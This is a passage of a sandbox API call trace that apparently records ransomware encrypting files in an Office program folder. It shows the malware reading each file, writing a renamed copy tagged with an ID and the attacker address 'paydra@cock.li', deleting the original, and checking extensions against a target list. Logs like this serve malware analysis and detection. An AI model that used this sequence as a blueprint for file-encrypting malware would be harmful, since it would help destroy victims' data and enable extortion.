returned 0x20 [0049.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.967] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.968] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.968] GetLastError () returned 0x0 [0049.968] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0xfa60, lpOverlapped=0x0) returned 1 [0049.971] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0049.972] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.972] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0049.972] SetEndOfFile (hFile=0x210) returned 1 [0049.972] CloseHandle (hObject=0x210) returned 1 [0049.973] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.973] SetEndOfFile (hFile=0x17c) returned 1 [0049.974] CloseHandle (hObject=0x17c) returned 1 [0049.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0049.974] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0049.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.974] lstrlenW (lpString=".doc") returned 4 [0049.974] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.974] lstrlenW (lpString=".docx") returned 5 [0049.974] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0049.974] lstrlenW (lpString=".pdf") returned 4 [0049.974] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.974] lstrlenW (lpString=".xls") returned 4 [0049.974] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.974] lstrlenW (lpString=".xlsx") returned 5 [0049.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0049.974] lstrlenW (lpString=".ppt") returned 4 [0049.974] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.974] lstrlenW (lpString=".zip") returned 4 [0049.975] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.975] lstrlenW (lpString=".rar") returned 4 [0049.975] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.975] lstrlenW (lpString=".bz2") returned 4 [0049.975] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.975] lstrlenW (lpString=".7z") returned 3 [0049.975] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.975] lstrlenW (lpString=".dbf") returned 4 [0049.975] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.975] lstrlenW (lpString=".1cd") returned 4 [0049.975] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.975] lstrlenW (lpString=".jpg") returned 4 [0049.975] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.975] lstrlenW (lpString=".doc") returned 4 [0049.975] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0049.975] lstrlenW (lpString=".docx") returned 5 [0049.975] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0049.975] lstrlenW (lpString=".pdf") returned 4 [0049.975] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0049.975] lstrlenW (lpString=".xls") returned 4 [0049.975] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0049.975] lstrlenW (lpString=".xlsx") returned 5 [0049.975] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0049.975] lstrlenW (lpString=".ppt") returned 4 [0049.975] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0049.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.975] lstrlenW (lpString=".zip") returned 4 [0049.976] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0049.976] lstrlenW (lpString=".rar") returned 4 [0049.976] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0049.976] lstrlenW (lpString=".bz2") returned 4 [0049.976] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0049.976] lstrlenW (lpString=".7z") returned 3 [0049.976] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0049.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.976] lstrlenW (lpString=".dbf") returned 4 [0049.976] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0049.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.976] lstrlenW (lpString=".1cd") returned 4 [0049.976] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0049.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0049.976] lstrlenW (lpString=".jpg") returned 4 [0049.976] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0049.976] lstrcmpiW (lpString1=".CNT", lpString2=".html") returned -1 [0049.976] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0049.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.977] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2557) returned 1 [0049.977] CloseHandle (hObject=0x17c) returned 1 [0049.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0049.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.977] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.978] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.978] GetLastError () returned 0x0 [0049.978] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x9fd, lpOverlapped=0x0) returned 1 [0049.979] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0049.980] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.980] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.980] SetEndOfFile (hFile=0x210) returned 1 [0049.980] CloseHandle (hObject=0x210) returned 1 [0049.981] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.981] SetEndOfFile (hFile=0x17c) returned 1 [0049.981] CloseHandle (hObject=0x17c) returned 1 [0049.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0049.982] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0049.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.982] lstrlenW (lpString=".doc") returned 4 [0049.982] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0049.982] lstrlenW (lpString=".docx") returned 5 [0049.982] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0049.982] lstrlenW (lpString=".pdf") returned 4 [0049.982] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0049.982] lstrlenW (lpString=".xls") returned 4 [0049.982] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0049.982] lstrlenW (lpString=".xlsx") returned 5 [0049.982] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0049.982] lstrlenW (lpString=".ppt") returned 4 [0049.982] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0049.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.982] lstrlenW (lpString=".zip") returned 4 [0049.982] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0049.982] lstrlenW (lpString=".rar") returned 4 [0049.982] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0049.982] lstrlenW (lpString=".bz2") returned 4 [0049.983] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0049.983] lstrlenW (lpString=".7z") returned 3 [0049.983] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0049.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.983] lstrlenW (lpString=".dbf") returned 4 [0049.983] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0049.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.983] lstrlenW (lpString=".1cd") returned 4 [0049.983] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0049.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.983] lstrlenW (lpString=".jpg") returned 4 [0049.983] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0049.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.983] lstrlenW (lpString=".doc") returned 4 [0049.983] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0049.983] lstrlenW (lpString=".docx") returned 5 [0049.983] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0049.983] lstrlenW (lpString=".pdf") returned 4 [0049.983] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0049.983] lstrlenW (lpString=".xls") returned 4 [0049.983] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0049.983] lstrlenW (lpString=".xlsx") returned 5 [0049.983] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0049.983] lstrlenW (lpString=".ppt") returned 4 [0049.983] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0049.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.983] lstrlenW (lpString=".zip") returned 4 [0049.983] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0049.983] lstrlenW (lpString=".rar") returned 4 [0049.983] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0049.984] lstrlenW (lpString=".bz2") returned 4 [0049.984] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0049.984] lstrlenW (lpString=".7z") returned 3 [0049.984] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0049.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.984] lstrlenW (lpString=".dbf") returned 4 [0049.984] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0049.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.984] lstrlenW (lpString=".1cd") returned 4 [0049.984] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0049.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0049.984] lstrlenW (lpString=".jpg") returned 4 [0049.984] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0049.984] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1 [0049.984] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0049.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.985] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=543304) returned 1 [0049.985] CloseHandle (hObject=0x17c) returned 1 [0049.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0049.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.985] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.985] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0049.985] GetLastError () returned 0x0 [0049.985] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x84a48, lpOverlapped=0x0) returned 1 [0049.996] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0050.070] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.070] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.071] SetEndOfFile (hFile=0x210) returned 1 [0050.071] CloseHandle (hObject=0x210) returned 1 [0050.071] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.071] SetEndOfFile (hFile=0x17c) returned 1 [0050.076] CloseHandle (hObject=0x17c) returned 1 [0050.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.076] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0050.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.076] lstrlenW (lpString=".doc") returned 4 [0050.076] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0050.076] lstrlenW (lpString=".docx") returned 5 [0050.076] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0050.076] lstrlenW (lpString=".pdf") returned 4 [0050.076] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0050.077] lstrlenW (lpString=".xls") returned 4 [0050.077] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0050.077] lstrlenW (lpString=".xlsx") returned 5 [0050.077] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0050.077] lstrlenW (lpString=".ppt") returned 4 [0050.077] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0050.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.077] lstrlenW (lpString=".zip") returned 4 [0050.077] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0050.077] lstrlenW (lpString=".rar") returned 4 [0050.077] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0050.077] lstrlenW (lpString=".bz2") returned 4 [0050.077] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0050.077] lstrlenW (lpString=".7z") returned 3 [0050.077] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0050.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.077] lstrlenW (lpString=".dbf") returned 4 [0050.077] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0050.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.077] lstrlenW (lpString=".1cd") returned 4 [0050.077] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0050.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.077] lstrlenW (lpString=".jpg") returned 4 [0050.077] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0050.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.077] lstrlenW (lpString=".doc") returned 4 [0050.077] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0050.077] lstrlenW (lpString=".docx") returned 5 [0050.077] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0050.077] lstrlenW (lpString=".pdf") returned 4 [0050.078] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0050.078] lstrlenW (lpString=".xls") returned 4 [0050.078] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0050.078] lstrlenW (lpString=".xlsx") returned 5 [0050.078] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0050.078] lstrlenW (lpString=".ppt") returned 4 [0050.078] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0050.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.078] lstrlenW (lpString=".zip") returned 4 [0050.078] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0050.078] lstrlenW (lpString=".rar") returned 4 [0050.078] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0050.078] lstrlenW (lpString=".bz2") returned 4 [0050.078] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0050.078] lstrlenW (lpString=".7z") returned 3 [0050.078] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0050.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.078] lstrlenW (lpString=".dbf") returned 4 [0050.078] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0050.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.078] lstrlenW (lpString=".1cd") returned 4 [0050.078] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0050.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.078] lstrlenW (lpString=".jpg") returned 4 [0050.078] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0050.078] lstrcmpiW (lpString1=".manifest", lpString2=".html") returned 1 [0050.078] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0050.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.079] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=566) returned 1 [0050.079] CloseHandle (hObject=0x17c) returned 1 [0050.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0050.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.079] SetFilePointerEx (in: hFile=0x17c, 